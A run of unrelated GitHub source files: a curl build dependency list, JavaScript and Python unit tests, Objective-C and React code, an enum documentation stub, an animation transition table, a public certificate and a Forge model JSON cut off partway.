/usr/include/x86_64-linux-gnu/bits/socket_type.h \ /usr/include/x86_64-linux-gnu/bits/sockaddr.h \ /usr/include/x86_64-linux-gnu/asm/socket.h \ /usr/include/asm-generic/socket.h \ /usr/include/x86_64-linux-gnu/asm/sockios.h \ /usr/include/asm-generic/sockios.h ../include/curl/curlrules.h \ /usr/include/stdio.h /usr/include/libio.h /usr/include/_G_config.h \ /usr/include/wchar.h /usr/lib/gcc/x86_64-linux-gnu/4.8/include/stdarg.h \ /usr/include/x86_64-linux-gnu/bits/stdio_lim.h \ /usr/include/x86_64-linux-gnu/bits/sys_errlist.h /usr/include/assert.h \ ../lib/curl_setup_once.h /usr/include/stdlib.h \ /usr/include/x86_64-linux-gnu/bits/waitflags.h \ /usr/include/x86_64-linux-gnu/bits/waitstatus.h /usr/include/alloca.h \ /usr/include/x86_64-linux-gnu/bits/stdlib-float.h /usr/include/string.h \ /usr/include/xlocale.h /usr/include/ctype.h /usr/include/errno.h \ /usr/include/x86_64-linux-gnu/bits/errno.h /usr/include/linux/errno.h \ /usr/include/x86_64-linux-gnu/asm/errno.h \ /usr/include/asm-generic/errno.h /usr/include/asm-generic/errno-base.h \ /usr/include/x86_64-linux-gnu/sys/stat.h \ /usr/include/x86_64-linux-gnu/bits/stat.h \ /usr/include/x86_64-linux-gnu/sys/time.h \ /usr/lib/gcc/x86_64-linux-gnu/4.8/include/stdbool.h \ /usr/include/unistd.h /usr/include/x86_64-linux-gnu/bits/posix_opt.h \ /usr/include/x86_64-linux-gnu/bits/environments.h \ /usr/include/x86_64-linux-gnu/bits/confname.h /usr/include/getopt.h /usr/include/stdc-predef.h: ../lib/curl_setup.h: ../lib/curl_config.h: ../include/curl/curlbuild.h: /usr/include/x86_64-linux-gnu/sys/types.h: /usr/include/features.h: /usr/include/x86_64-linux-gnu/sys/cdefs.h: /usr/include/x86_64-linux-gnu/bits/wordsize.h: /usr/include/x86_64-linux-gnu/gnu/stubs.h: /usr/include/x86_64-linux-gnu/gnu/stubs-64.h: /usr/include/x86_64-linux-gnu/bits/types.h: /usr/include/x86_64-linux-gnu/bits/typesizes.h: /usr/include/time.h: /usr/lib/gcc/x86_64-linux-gnu/4.8/include/stddef.h: /usr/include/endian.h: /usr/include/x86_64-linux-gnu/bits/endian.h: /usr/include/x86_64-linux-gnu/bits/byteswap.h: /usr/include/x86_64-linux-gnu/bits/byteswap-16.h: /usr/include/x86_64-linux-gnu/sys/select.h: /usr/include/x86_64-linux-gnu/bits/select.h: /usr/include/x86_64-linux-gnu/bits/sigset.h: /usr/include/x86_64-linux-gnu/bits/time.h: /usr/include/x86_64-linux-gnu/sys/sysmacros.h: /usr/include/x86_64-linux-gnu/bits/pthreadtypes.h: /usr/include/x86_64-linux-gnu/sys/socket.h: /usr/include/x86_64-linux-gnu/sys/uio.h: /usr/include/x86_64-linux-gnu/bits/uio.h: /usr/include/x86_64-linux-gnu/bits/socket.h: /usr/include/x86_64-linux-gnu/bits/socket_type.h: /usr/include/x86_64-linux-gnu/bits/sockaddr.h: /usr/include/x86_64-linux-gnu/asm/socket.h: /usr/include/asm-generic/socket.h: /usr/include/x86_64-linux-gnu/asm/sockios.h: /usr/include/asm-generic/sockios.h: ../include/curl/curlrules.h: /usr/include/stdio.h: /usr/include/libio.h: /usr/include/_G_config.h: /usr/include/wchar.h: /usr/lib/gcc/x86_64-linux-gnu/4.8/include/stdarg.h: /usr/include/x86_64-linux-gnu/bits/stdio_lim.h: /usr/include/x86_64-linux-gnu/bits/sys_errlist.h: /usr/include/assert.h: ../lib/curl_setup_once.h: /usr/include/stdlib.h: /usr/include/x86_64-linux-gnu/bits/waitflags.h: /usr/include/x86_64-linux-gnu/bits/waitstatus.h: /usr/include/alloca.h: /usr/include/x86_64-linux-gnu/bits/stdlib-float.h: /usr/include/string.h: /usr/include/xlocale.h: /usr/include/ctype.h: /usr/include/errno.h: /usr/include/x86_64-linux-gnu/bits/errno.h: /usr/include/linux/errno.h: /usr/include/x86_64-linux-gnu/asm/errno.h: /usr/include/asm-generic/errno.h: /usr/include/asm-generic/errno-base.h: /usr/include/x86_64-linux-gnu/sys/stat.h: /usr/include/x86_64-linux-gnu/bits/stat.h: /usr/include/x86_64-linux-gnu/sys/time.h: /usr/lib/gcc/x86_64-linux-gnu/4.8/include/stdbool.h: /usr/include/unistd.h: /usr/include/x86_64-linux-gnu/bits/posix_opt.h: /usr/include/x86_64-linux-gnu/bits/environments.h: /usr/include/x86_64-linux-gnu/bits/confname.h: /usr/include/getopt.h:
{ "pile_set_name": "Github" }
/* * A battery of tests to help us read a series of uints */ var mod_ctype = require('../../../ctio.js'); var ASSERT = require('assert'); /* * We need to check the following things: * - We are correctly resolving big endian (doesn't mean anything for 8 bit) * - Correctly resolving little endian (doesn't mean anything for 8 bit) * - Correctly using the offsets * - Correctly interpreting values that are beyond the signed range as unsigned */ function test8() { var data = new Buffer(4); mod_ctype.wuint8(23, 'big', data, 0); mod_ctype.wuint8(23, 'big', data, 1); mod_ctype.wuint8(23, 'big', data, 2); mod_ctype.wuint8(23, 'big', data, 3); ASSERT.equal(23, data[0]); ASSERT.equal(23, data[1]); ASSERT.equal(23, data[2]); ASSERT.equal(23, data[3]); mod_ctype.wuint8(23, 'little', data, 0); mod_ctype.wuint8(23, 'little', data, 1); mod_ctype.wuint8(23, 'little', data, 2); mod_ctype.wuint8(23, 'little', data, 3); ASSERT.equal(23, data[0]); ASSERT.equal(23, data[1]); ASSERT.equal(23, data[2]); ASSERT.equal(23, data[3]); mod_ctype.wuint8(255, 'big', data, 0); ASSERT.equal(255, data[0]); mod_ctype.wuint8(255, 'little', data, 0); ASSERT.equal(255, data[0]); } function test16() { var value = 0x2343; var data = new Buffer(4); mod_ctype.wuint16(value, 'big', data, 0); ASSERT.equal(0x23, data[0]); ASSERT.equal(0x43, data[1]); mod_ctype.wuint16(value, 'big', data, 1); ASSERT.equal(0x23, data[1]); ASSERT.equal(0x43, data[2]); mod_ctype.wuint16(value, 'big', data, 2); ASSERT.equal(0x23, data[2]); ASSERT.equal(0x43, data[3]); mod_ctype.wuint16(value, 'little', data, 0); ASSERT.equal(0x23, data[1]); ASSERT.equal(0x43, data[0]); mod_ctype.wuint16(value, 'little', data, 1); ASSERT.equal(0x23, data[2]); ASSERT.equal(0x43, data[1]); mod_ctype.wuint16(value, 'little', data, 2); ASSERT.equal(0x23, data[3]); ASSERT.equal(0x43, data[2]); value = 0xff80; mod_ctype.wuint16(value, 'little', data, 0); ASSERT.equal(0xff, data[1]); ASSERT.equal(0x80, data[0]); mod_ctype.wuint16(value, 'big', data, 0); ASSERT.equal(0xff, data[0]); ASSERT.equal(0x80, data[1]); } function test32() { var data = new Buffer(6); var value = 0xe7f90a6d; mod_ctype.wuint32(value, 'big', data, 0); ASSERT.equal(0xe7, data[0]); ASSERT.equal(0xf9, data[1]); ASSERT.equal(0x0a, data[2]); ASSERT.equal(0x6d, data[3]); mod_ctype.wuint32(value, 'big', data, 1); ASSERT.equal(0xe7, data[1]); ASSERT.equal(0xf9, data[2]); ASSERT.equal(0x0a, data[3]); ASSERT.equal(0x6d, data[4]); mod_ctype.wuint32(value, 'big', data, 2); ASSERT.equal(0xe7, data[2]); ASSERT.equal(0xf9, data[3]); ASSERT.equal(0x0a, data[4]); ASSERT.equal(0x6d, data[5]); mod_ctype.wuint32(value, 'little', data, 0); ASSERT.equal(0xe7, data[3]); ASSERT.equal(0xf9, data[2]); ASSERT.equal(0x0a, data[1]); ASSERT.equal(0x6d, data[0]); mod_ctype.wuint32(value, 'little', data, 1); ASSERT.equal(0xe7, data[4]); ASSERT.equal(0xf9, data[3]); ASSERT.equal(0x0a, data[2]); ASSERT.equal(0x6d, data[1]); mod_ctype.wuint32(value, 'little', data, 2); ASSERT.equal(0xe7, data[5]); ASSERT.equal(0xf9, data[4]); ASSERT.equal(0x0a, data[3]); ASSERT.equal(0x6d, data[2]); } function test64() { var data = new Buffer(10); var value = 0x0007cda8e7f90a6d; var high = Math.floor(value / Math.pow(2, 32)); var low = value - (high * Math.pow(2, 32)); ASSERT.equal(0x0007cda8, high); ASSERT.equal(0xe7f90a6d, low); mod_ctype.wuint64([high, low], 'big', data, 0); ASSERT.equal(0x00, data[0]); ASSERT.equal(0x07, data[1]); ASSERT.equal(0xcd, data[2]); ASSERT.equal(0xa8, data[3]); ASSERT.equal(0xe7, data[4]); ASSERT.equal(0xf9, data[5]); ASSERT.equal(0x0a, data[6]); ASSERT.equal(0x6d, data[7]); mod_ctype.wuint64([high, low], 'little', data, 0); ASSERT.equal(0x6d, data[0]); ASSERT.equal(0x0a, data[1]); ASSERT.equal(0xf9, data[2]); ASSERT.equal(0xe7, data[3]); ASSERT.equal(0xa8, data[4]); ASSERT.equal(0xcd, data[5]); ASSERT.equal(0x07, data[6]); ASSERT.equal(0x00, data[7]); } test8(); test16(); test32(); test64(); exports.test8 = test8; exports.test16 = test16; exports.test32 = test32; exports.test64 = test64;
{ "pile_set_name": "Github" }
<Type Name="UpdatePhases" FullName="LineaProSdk.UpdatePhases"> <TypeSignature Language="C#" Value="public enum UpdatePhases" /> <TypeSignature Language="ILAsm" Value=".class public auto ansi sealed UpdatePhases extends System.Enum" /> <AssemblyInfo> <AssemblyName>LineaProSdk</AssemblyName> <AssemblyVersion>0.0.0.0</AssemblyVersion> </AssemblyInfo> <Base> <BaseTypeName>System.Enum</BaseTypeName> </Base> <Docs> <summary>To be added.</summary> <remarks>To be added.</remarks> </Docs> <Members> <Member MemberName="Completing"> <MemberSignature Language="C#" Value="Completing" /> <MemberSignature Language="ILAsm" Value=".field public static literal valuetype LineaProSdk.UpdatePhases Completing = int32(4)" /> <MemberType>Field</MemberType> <AssemblyInfo> <AssemblyVersion>0.0.0.0</AssemblyVersion> </AssemblyInfo> <ReturnValue> <ReturnType>LineaProSdk.UpdatePhases</ReturnType> </ReturnValue> <Docs> <summary>To be added.</summary> </Docs> </Member> <Member MemberName="Erase"> <MemberSignature Language="C#" Value="Erase" /> <MemberSignature Language="ILAsm" Value=".field public static literal valuetype LineaProSdk.UpdatePhases Erase = int32(1)" /> <MemberType>Field</MemberType> <AssemblyInfo> <AssemblyVersion>0.0.0.0</AssemblyVersion> </AssemblyInfo> <ReturnValue> <ReturnType>LineaProSdk.UpdatePhases</ReturnType> </ReturnValue> <Docs> <summary>To be added.</summary> </Docs> </Member> <Member MemberName="Finish"> <MemberSignature Language="C#" Value="Finish" /> <MemberSignature Language="ILAsm" Value=".field public static literal valuetype LineaProSdk.UpdatePhases Finish = int32(3)" /> <MemberType>Field</MemberType> <AssemblyInfo> <AssemblyVersion>0.0.0.0</AssemblyVersion> </AssemblyInfo> <ReturnValue> <ReturnType>LineaProSdk.UpdatePhases</ReturnType> </ReturnValue> <Docs> <summary>To be added.</summary> </Docs> </Member> <Member MemberName="Init"> <MemberSignature Language="C#" Value="Init" /> <MemberSignature Language="ILAsm" Value=".field public static literal valuetype LineaProSdk.UpdatePhases Init = int32(0)" /> <MemberType>Field</MemberType> <AssemblyInfo> <AssemblyVersion>0.0.0.0</AssemblyVersion> </AssemblyInfo> <ReturnValue> <ReturnType>LineaProSdk.UpdatePhases</ReturnType> </ReturnValue> <Docs> <summary>To be added.</summary> </Docs> </Member> <Member MemberName="Write"> <MemberSignature Language="C#" Value="Write" /> <MemberSignature Language="ILAsm" Value=".field public static literal valuetype LineaProSdk.UpdatePhases Write = int32(2)" /> <MemberType>Field</MemberType> <AssemblyInfo> <AssemblyVersion>0.0.0.0</AssemblyVersion> </AssemblyInfo> <ReturnValue> <ReturnType>LineaProSdk.UpdatePhases</ReturnType> </ReturnValue> <Docs> <summary>To be added.</summary> </Docs> </Member> </Members> </Type>
{ "pile_set_name": "Github" }
Role State Target TransitionDuration R2AilaMd010011 Born 0 R2AilaMd010011 Stand2 0.1 R2AilaMd010011 Stand1 0.1 R2AilaMd010011 Stand3 0.1 R2AilaMd010011 Standchange 0.1 R2AilaMd010011 Run 0.1 R2AilaMd010011 Walk 0.1 R2AilaMd010011 Death 0.1 R2AilaMd010011 Hit1 0.05 R2AilaMd010011 Hit2 0.05 R2AilaMd010011 Behitfly 0.05 R2AilaMd010011 Hoverhit 0.05 R2AilaMd010011 Falldown 0.1 R2AilaMd010011 Hitdown 0.1 R2AilaMd010011 Lieonfloor 0.1 R2AilaMd010011 Standup 0.1 R2AilaMd010011 Straight 0.1 R2AilaMd010011 Stun 0.1 R2AilaMd010011 TurnLeft 0.1 R2AilaMd010011 TurnRight 0.1 R2AilaMd010011 StraightBefore 0.1 R2AilaMd010011 StraightAfter 0.1 R2AilaMd010011 UiStand1 0.1 R2AilaMd010011 Win 0 R2AilaMd010011 Win2 0.1 R2AilaMd010011 Runb 0.2 R2AilaMd010011 Runl 0.2 R2AilaMd010011 Runr 0.2 R2AilaMd010011 Stop 0.1 R2AilaMd010011 Walkb 0.1 R2AilaMd010011 Walkl 0.1 R2AilaMd010011 Walkr 0.1 R2AilaMd010011 Fail 0.1 R2AilaMd010011 Save 0.1 R2AilaMd010011 Hit3 0.05 R2AilaMd010011 Hit4 0.05 R2AilaMd010011 RunStart 0.1 R2AilaMd010011 RunStartEnd01 0.1 R2AilaMd010011 Attack01 0.1 R2AilaMd010011 Attack02 0.1 R2AilaMd010011 Attack03 0.1 R2AilaMd010011 Attack04 0.1 R2AilaMd010011 Attack11 0.1 R2AilaMd010011 Attack21 0.1 R2AilaMd010011 Attack31 0.1 R2AilaMd010011 Attack41 0.1 R2AilaMd010011 Attack51 0.1 R2AilaMd010011 Move1 0.1 R2AilaMd010011 Move2 0.1 R2AilaMd010011 Move3 0.1 R2AilaMd010011 AttackQte 0 R2AilaMd010011 Stand2 Standchange 0.1 R2AilaMd010011 Stand2 Run 0.2 R2AilaMd010011 Stand2 Walk 0.3 R2AilaMd010011 Stand2 Walkb 0.3 R2AilaMd010011 Stand2 Walkl 0.3 R2AilaMd010011 Stand2 Walkr 0.3 R2AilaMd010011 Stand1 Run 0.2 R2AilaMd010011 Stand1 Walk 0.1 R2AilaMd010011 Standchange Stand1 0.1 R2AilaMd010011 Standchange Run 0.1 R2AilaMd010011 Standchange Walk 0.1 R2AilaMd010011 Run Stop 0.2 R2AilaMd010011 Run Stand2 0.2 R2AilaMd010011 Run Runb 0.2 R2AilaMd010011 Run Runl 0.2 R2AilaMd010011 Run Runr 0.2 R2AilaMd010011 Walk Stand2 0.1 R2AilaMd010011 Hit1 Stand2 0 R2AilaMd010011 Hit2 Stand2 0 R2AilaMd010011 Behitfly Hoverhit 0.1 R2AilaMd010011 Behitfly Falldown 0.1 R2AilaMd010011 Hoverhit Falldown 0.1 R2AilaMd010011 Falldown Lieonfloor 0.1 R2AilaMd010011 Hitdown Lieonfloor 0.1 R2AilaMd010011 Standup Stand2 0.1 R2AilaMd010011 Straight Stand2 0.1 R2AilaMd010011 Stun Stand2 0.1 R2AilaMd010011 TurnLeft Stand2 0.1 R2AilaMd010011 TurnRight Stand2 0.1 R2AilaMd010011 Win Win2 0.1 R2AilaMd010011 Runb Stand2 0.2 R2AilaMd010011 Runb Run 0.2 R2AilaMd010011 Runb Runl 0.2 R2AilaMd010011 Runb Runr 0.2 R2AilaMd010011 Runl Stand2 0.2 R2AilaMd010011 Runl Run 0.2 R2AilaMd010011 Runl Runb 0.2 R2AilaMd010011 Runl Runr 0.2 R2AilaMd010011 Runr Stand2 0.2 R2AilaMd010011 Runr Run 0.2 R2AilaMd010011 Runr Runb 0.2 R2AilaMd010011 Runr Runl 0.2 R2AilaMd010011 Stop Stand2 0.1 R2AilaMd010011 Walkb Stand2 0.1 R2AilaMd010011 Walkb Walk 0.2 R2AilaMd010011 Walkb Walkl 0.1 R2AilaMd010011 Walkb Walkr 0.1 R2AilaMd010011 Walkl Stand2 0.1 R2AilaMd010011 Walkl Walk 0.1 R2AilaMd010011 Walkl Walkb 0.1 R2AilaMd010011 Walkl Walkr 0.2 R2AilaMd010011 Walkr Stand2 0.1 R2AilaMd010011 Walkr Walk 0.1 R2AilaMd010011 Walkr Walkb 0.1 R2AilaMd010011 Walkr Walkl 0.2 R2AilaMd010011 Hit3 Stand2 0 R2AilaMd010011 Hit4 Stand2 0 R2AilaMd010011 RunStart Run 0 R2AilaMd010011 RunStart RunStartEnd01 0.1
{ "pile_set_name": "Github" }
// // NSLayoutConstraint+MASDebugAdditions.m // Masonry // // Created by Jonas Budelmann on 3/08/13. // Copyright (c) 2013 Jonas Budelmann. All rights reserved. // #import "NSLayoutConstraint+MASDebugAdditions.h" #import "MASConstraint.h" #import "MASLayoutConstraint.h" @implementation NSLayoutConstraint (MASDebugAdditions) #pragma mark - description maps + (NSDictionary *)layoutRelationDescriptionsByValue { static dispatch_once_t once; static NSDictionary *descriptionMap; dispatch_once(&once, ^{ descriptionMap = @{ @(NSLayoutRelationEqual) : @"==", @(NSLayoutRelationGreaterThanOrEqual) : @">=", @(NSLayoutRelationLessThanOrEqual) : @"<=", }; }); return descriptionMap; } + (NSDictionary *)layoutAttributeDescriptionsByValue { static dispatch_once_t once; static NSDictionary *descriptionMap; dispatch_once(&once, ^{ descriptionMap = @{ @(NSLayoutAttributeTop) : @"top", @(NSLayoutAttributeLeft) : @"left", @(NSLayoutAttributeBottom) : @"bottom", @(NSLayoutAttributeRight) : @"right", @(NSLayoutAttributeLeading) : @"leading", @(NSLayoutAttributeTrailing) : @"trailing", @(NSLayoutAttributeWidth) : @"width", @(NSLayoutAttributeHeight) : @"height", @(NSLayoutAttributeCenterX) : @"centerX", @(NSLayoutAttributeCenterY) : @"centerY", @(NSLayoutAttributeBaseline) : @"baseline", #if TARGET_OS_IPHONE || TARGET_OS_TV @(NSLayoutAttributeLeftMargin) : @"leftMargin", @(NSLayoutAttributeRightMargin) : @"rightMargin", @(NSLayoutAttributeTopMargin) : @"topMargin", @(NSLayoutAttributeBottomMargin) : @"bottomMargin", @(NSLayoutAttributeLeadingMargin) : @"leadingMargin", @(NSLayoutAttributeTrailingMargin) : @"trailingMargin", @(NSLayoutAttributeCenterXWithinMargins) : @"centerXWithinMargins", @(NSLayoutAttributeCenterYWithinMargins) : @"centerYWithinMargins", #endif }; }); return descriptionMap; } + (NSDictionary *)layoutPriorityDescriptionsByValue { static dispatch_once_t once; static NSDictionary *descriptionMap; dispatch_once(&once, ^{ #if TARGET_OS_IPHONE || TARGET_OS_TV descriptionMap = @{ @(MASLayoutPriorityDefaultHigh) : @"high", @(MASLayoutPriorityDefaultLow) : @"low", @(MASLayoutPriorityDefaultMedium) : @"medium", @(MASLayoutPriorityRequired) : @"required", @(MASLayoutPriorityFittingSizeLevel) : @"fitting size", }; #elif TARGET_OS_MAC descriptionMap = @{ @(MASLayoutPriorityDefaultHigh) : @"high", @(MASLayoutPriorityDragThatCanResizeWindow) : @"drag can resize window", @(MASLayoutPriorityDefaultMedium) : @"medium", @(MASLayoutPriorityWindowSizeStayPut) : @"window size stay put", @(MASLayoutPriorityDragThatCannotResizeWindow) : @"drag cannot resize window", @(MASLayoutPriorityDefaultLow) : @"low", @(MASLayoutPriorityFittingSizeCompression) : @"fitting size", @(MASLayoutPriorityRequired) : @"required", }; #endif }); return descriptionMap; } #pragma mark - description override + (NSString *)descriptionForObject:(id)obj { if ([obj respondsToSelector:@selector(mas_key)] && [obj mas_key]) { return [NSString stringWithFormat:@"%@:%@", [obj class], [obj mas_key]]; } return [NSString stringWithFormat:@"%@:%p", [obj class], obj]; } - (NSString *)description { NSMutableString *description = [[NSMutableString alloc] initWithString:@"<"]; [description appendString:[self.class descriptionForObject:self]]; [description appendFormat:@" %@", [self.class descriptionForObject:self.firstItem]]; if (self.firstAttribute != NSLayoutAttributeNotAnAttribute) { [description appendFormat:@".%@", self.class.layoutAttributeDescriptionsByValue[@(self.firstAttribute)]]; } [description appendFormat:@" %@", self.class.layoutRelationDescriptionsByValue[@(self.relation)]]; if (self.secondItem) { [description appendFormat:@" %@", [self.class descriptionForObject:self.secondItem]]; } if (self.secondAttribute != NSLayoutAttributeNotAnAttribute) { [description appendFormat:@".%@", self.class.layoutAttributeDescriptionsByValue[@(self.secondAttribute)]]; } if (self.multiplier != 1) { [description appendFormat:@" * %g", self.multiplier]; } if (self.secondAttribute == NSLayoutAttributeNotAnAttribute) { [description appendFormat:@" %g", self.constant]; } else { if (self.constant) { [description appendFormat:@" %@ %g", (self.constant < 0 ? @"-" : @"+"), ABS(self.constant)]; } } if (self.priority != MASLayoutPriorityRequired) { [description appendFormat:@" ^%@", self.class.layoutPriorityDescriptionsByValue[@(self.priority)] ?: [NSNumber numberWithDouble:self.priority]]; } [description appendString:@">"]; return description; } @end
{ "pile_set_name": "Github" }
-----BEGIN CERTIFICATE----- MIID1jCCAr6gAwIBAgIHBHLF4IuXeDANBgkqhkiG9w0BAQsFADCBnTELMAkGA1UE BhMCVVMxEzARBgNVBAgMCkNhbGlmb3JuaWExEjAQBgNVBAcMCUxvcyBHYXRvczEU MBIGA1UECgwLTmV0ZmxpeCBJbmMxLTArBgNVBAsMJFBsYXRmb3JtIFNlY3VyaXR5 ICgxMjUyMDkzOTA4ODQwMjkwKTEgMB4GA1UEAwwXSW50ZXJtZWRpYXRlIENBIGZv ciA5NjgwHhcNMjAwNzE0MDMxNzEzWhcNMjEwNzE0MDMwOTQ0WjCBlTELMAkGA1UE BhMCVVMxEzARBgNVBAgMCkNhbGlmb3JuaWExEjAQBgNVBAcMCUxvcyBHYXRvczEU MBIGA1UECgwLTmV0ZmxpeCBJbmMxLTArBgNVBAsMJFBsYXRmb3JtIFNlY3VyaXR5 ICgxMjUyMDk0MTA4MTkwNjU2KTEYMBYGA1UEAwwPbG9jYWxob3N0LmxvY2FsMIIB IjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIBCgKCAQEAuYc+Obyt5sgqvIsuVntuSaqI iuesJza4VId9gYur/yFda93AMzNFBDT8EypllFudrQ28gITEUFQK9MNsBjbSoXNU ssK5N9n53LvGnU6PsZoLSn1qGv8JrFhER5H+nRLVWfdEeyQk+pVfmpbmE1hOgsfU l43xIEzhB8UO9NWQGh7VHM7gCkDKh8ER/ObV2o8g6MMeVFaIFj/HFPyq8uyM1AO6 eu6PfYjnlVKfm6GUzhciIY4/uLwHewI9SX0TA07FcaxYf/z2AgssySnfbNkuiMmG x4bNQ1WAkgFO58Rd4bHWavh/9jvjaKRX0e1PTWbk0yRl5mLFOcexMiBRVVTy7wID AQABoyEwHzAMBgNVHRMBAf8EAjAAMA8GA1UdEQQIMAaHBKwQAAEwDQYJKoZIhvcN AQELBQADggEBAF9Jm4jWPTrVeO3ZlkSvjjmUoUuS/oJ0yNNe9vKjccKtsOTTm/l3 EbTcwu6tStWYLIJsF0tIAAZRXeonUn/sMFH0BXEiNsUi+GvSJV91a0HCOa4zguwQ wRMmTjS0xDOe0+8NV5HLxoS4yPNN3Aq623STb5iDFrJEcKGx5MAKJR0gTJaJQlLn hUCCfVRnoU3q/cZ6ommXsLQVm8jM6Rr6NLWSjmGXa3uGari2h5QJnHg7q/+SUnmD q1+nA8Rau8KMNrrGX3fIPVFPuXagNur9UDVubT3NdBCY53OXORNCFwBd5eh32LkD CiNfKQoM217h0mPB04850yszzT0ZWIYGPls= -----END CERTIFICATE-----
{ "pile_set_name": "Github" }
import React from "react" function SvgComponent(props: React.SVGProps<SVGSVGElement>) { return ( <svg viewBox="0 0 448 512" width="1em" height="1em" {...props} > <path fill="currentColor" d="M224.1 141c-63.6 0-114.9 51.3-114.9 114.9s51.3 114.9 114.9 114.9S339 319.5 339 255.9 287.7 141 224.1 141zm0 189.6c-41.1 0-74.7-33.5-74.7-74.7s33.5-74.7 74.7-74.7 74.7 33.5 74.7 74.7-33.6 74.7-74.7 74.7zm146.4-194.3c0 14.9-12 26.8-26.8 26.8-14.9 0-26.8-12-26.8-26.8s12-26.8 26.8-26.8 26.8 12 26.8 26.8zm76.1 27.2c-1.7-35.9-9.9-67.7-36.2-93.9-26.2-26.2-58-34.4-93.9-36.2-37-2.1-147.9-2.1-184.9 0-35.8 1.7-67.6 9.9-93.9 36.1s-34.4 58-36.2 93.9c-2.1 37-2.1 147.9 0 184.9 1.7 35.9 9.9 67.7 36.2 93.9s58 34.4 93.9 36.2c37 2.1 147.9 2.1 184.9 0 35.9-1.7 67.7-9.9 93.9-36.2 26.2-26.2 34.4-58 36.2-93.9 2.1-37 2.1-147.8 0-184.8zM398.8 388c-7.8 19.6-22.9 34.7-42.6 42.6-29.5 11.7-99.5 9-132.1 9s-102.7 2.6-132.1-9c-19.6-7.8-34.7-22.9-42.6-42.6-11.7-29.5-9-99.5-9-132.1s-2.6-102.7 9-132.1c7.8-19.6 22.9-34.7 42.6-42.6 29.5-11.7 99.5-9 132.1-9s102.7-2.6 132.1 9c19.6 7.8 34.7 22.9 42.6 42.6 11.7 29.5 9 99.5 9 132.1s2.7 102.7-9 132.1z" /> </svg> ) } export default SvgComponent
{ "pile_set_name": "Github" }
"""Tests of the builder registry.""" import unittest from bs4 import BeautifulSoup from bs4.builder import ( builder_registry as registry, HTMLParserTreeBuilder, TreeBuilderRegistry, ) try: from bs4.builder import HTML5TreeBuilder HTML5LIB_PRESENT = True except ImportError: HTML5LIB_PRESENT = False try: from bs4.builder import ( LXMLTreeBuilderForXML, LXMLTreeBuilder, ) LXML_PRESENT = True except ImportError: LXML_PRESENT = False class BuiltInRegistryTest(unittest.TestCase): """Test the built-in registry with the default builders registered.""" def test_combination(self): if LXML_PRESENT: self.assertEqual(registry.lookup('fast', 'html'), LXMLTreeBuilder) if LXML_PRESENT: self.assertEqual(registry.lookup('permissive', 'xml'), LXMLTreeBuilderForXML) self.assertEqual(registry.lookup('strict', 'html'), HTMLParserTreeBuilder) if HTML5LIB_PRESENT: self.assertEqual(registry.lookup('html5lib', 'html'), HTML5TreeBuilder) def test_lookup_by_markup_type(self): if LXML_PRESENT: self.assertEqual(registry.lookup('html'), LXMLTreeBuilder) self.assertEqual(registry.lookup('xml'), LXMLTreeBuilderForXML) else: self.assertEqual(registry.lookup('xml'), None) if HTML5LIB_PRESENT: self.assertEqual(registry.lookup('html'), HTML5TreeBuilder) else: self.assertEqual(registry.lookup('html'), HTMLParserTreeBuilder) def test_named_library(self): if LXML_PRESENT: self.assertEqual(registry.lookup('lxml', 'xml'), LXMLTreeBuilderForXML) self.assertEqual(registry.lookup('lxml', 'html'), LXMLTreeBuilder) if HTML5LIB_PRESENT: self.assertEqual(registry.lookup('html5lib'), HTML5TreeBuilder) self.assertEqual(registry.lookup('html.parser'), HTMLParserTreeBuilder) def test_beautifulsoup_constructor_does_lookup(self): # You can pass in a string. BeautifulSoup("", features="html") # Or a list of strings. BeautifulSoup("", features=["html", "fast"]) # You'll get an exception if BS can't find an appropriate # builder. self.assertRaises(ValueError, BeautifulSoup, "", features="no-such-feature") class RegistryTest(unittest.TestCase): """Test the TreeBuilderRegistry class in general.""" def setUp(self): self.registry = TreeBuilderRegistry() def builder_for_features(self, *feature_list): cls = type('Builder_' + '_'.join(feature_list), (object,), {'features' : feature_list}) self.registry.register(cls) return cls def test_register_with_no_features(self): builder = self.builder_for_features() # Since the builder advertises no features, you can't find it # by looking up features. self.assertEqual(self.registry.lookup('foo'), None) # But you can find it by doing a lookup with no features, if # this happens to be the only registered builder. self.assertEqual(self.registry.lookup(), builder) def test_register_with_features_makes_lookup_succeed(self): builder = self.builder_for_features('foo', 'bar') self.assertEqual(self.registry.lookup('foo'), builder) self.assertEqual(self.registry.lookup('bar'), builder) def test_lookup_fails_when_no_builder_implements_feature(self): builder = self.builder_for_features('foo', 'bar') self.assertEqual(self.registry.lookup('baz'), None) def test_lookup_gets_most_recent_registration_when_no_feature_specified(self): builder1 = self.builder_for_features('foo') builder2 = self.builder_for_features('bar') self.assertEqual(self.registry.lookup(), builder2) def test_lookup_fails_when_no_tree_builders_registered(self): self.assertEqual(self.registry.lookup(), None) def test_lookup_gets_most_recent_builder_supporting_all_features(self): has_one = self.builder_for_features('foo') has_the_other = self.builder_for_features('bar') has_both_early = self.builder_for_features('foo', 'bar', 'baz') has_both_late = self.builder_for_features('foo', 'bar', 'quux') lacks_one = self.builder_for_features('bar') has_the_other = self.builder_for_features('foo') # There are two builders featuring 'foo' and 'bar', but # the one that also features 'quux' was registered later. self.assertEqual(self.registry.lookup('foo', 'bar'), has_both_late) # There is only one builder featuring 'foo', 'bar', and 'baz'. self.assertEqual(self.registry.lookup('foo', 'bar', 'baz'), has_both_early) def test_lookup_fails_when_cannot_reconcile_requested_features(self): builder1 = self.builder_for_features('foo', 'bar') builder2 = self.builder_for_features('foo', 'baz') self.assertEqual(self.registry.lookup('bar', 'baz'), None)
{ "pile_set_name": "Github" }
{ "loader": "forge:obj", "model": "immersiveengineering:models/block/blastfurnace_advanced.obj", "flip-v": true, "transform": { "thirdperson_righthand": { "translation": [ 0.0, 0.0, 0.0 ], "rotation": [ 0.16043, -0.37686962, -0.06645229, 0.9098437 ], "scale": [ 0.25, 0.25, 0.25 ], "post-rotation": [ 0.0, 0.0, 0.0, 1.0 ], "origin": "corner" }, "thirdperson_lefthand": { "translation": [ 0.0, 0.0, 0.0 ], "rotation": [ 0.16043, -0.37686962, -0.06645229, 0.9098437 ], "scale": [ 0.25, 0.25, 0.25 ], "post-rotation": [ 0.0, 0.0, 0.0, 1.0 ], "origin": "corner" }, "firstperson_righthand": { "translation": [ 0.0, 0.0, 0.0 ], "rotation": [ 0.16043, -0.37686962, -0.06645229, 0.9098437 ], "scale": [ 0.25, 0.25, 0.25 ], "post-rotation": [ 0.0, 0.0, 0.0, 1.0 ], "origin": "corner" }, "firstperson_lefthand": { "translation": [ 0.0, 0.0, 0.0 ], "rotation": [ 0.16043, -0.37686962, -0.06645229, 0.9098437 